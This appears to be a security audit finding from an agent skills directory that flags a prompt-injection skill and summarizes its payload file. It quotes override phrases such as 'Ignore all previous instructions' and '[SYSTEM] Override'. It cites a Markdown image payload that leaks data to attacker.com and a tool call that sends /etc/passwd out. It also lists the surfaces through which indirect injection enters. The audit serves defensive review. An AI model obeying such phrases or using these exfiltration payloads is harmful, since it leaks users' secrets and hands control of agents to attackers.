The Agent Skills Directory

[PROMPT_INJECTION]: The skill documents numerous payloads designed to override LLM system instructions and safety guardrails.
Evidence in references/injection-payloads.md: Multiple instances of "IMPORTANT NEW INSTRUCTIONS: Ignore all previous instructions" and "[SYSTEM] Override" intended to hijack model behavior.
Evidence in references/injection-payloads.md: Instructions to force the model into an unrestricted "debug mode" to reveal internal configurations.
[DATA_EXFILTRATION]: The skill provides detailed techniques for exfiltrating sensitive data, including system prompts and credentials, to external untrusted domains.
Evidence in references/injection-payloads.md: Payloads utilizing Markdown image syntax ![](https://attacker.com/log?data=...) to leak data via URL parameters when rendered in a user interface.
Evidence in references/injection-payloads.md: Instructions to use agent tools like http_request to send file contents (e.g., /etc/passwd) to an attacker-controlled server.
[INDIRECT_PROMPT_INJECTION]: The skill describes a complete methodology for indirect injection through various ingestion surfaces.
Ingestion points: The documentation identifies web pages, uploaded documents (PDF/Word/CSV), email content, and RAG knowledge bases as primary entry points for untrusted data in SKILL.md and references/injection-payloads.md.
Boundary markers: The skill notes the lack of separation between data and instructions in LLM applications as the core vulnerability but does not define or use any markers within its own examples to mitigate accidental execution.
Capability inventory: The skill identifies sensitive tool calls (read_file, http_request, mail), Markdown rendering, and RAG retrieval as the primary capabilities exploitable by these injections.
Sanitization: The methodology highlights the typical absence of sanitization for metadata and HTML tags as a key factor in successful attacks.

prompt-injection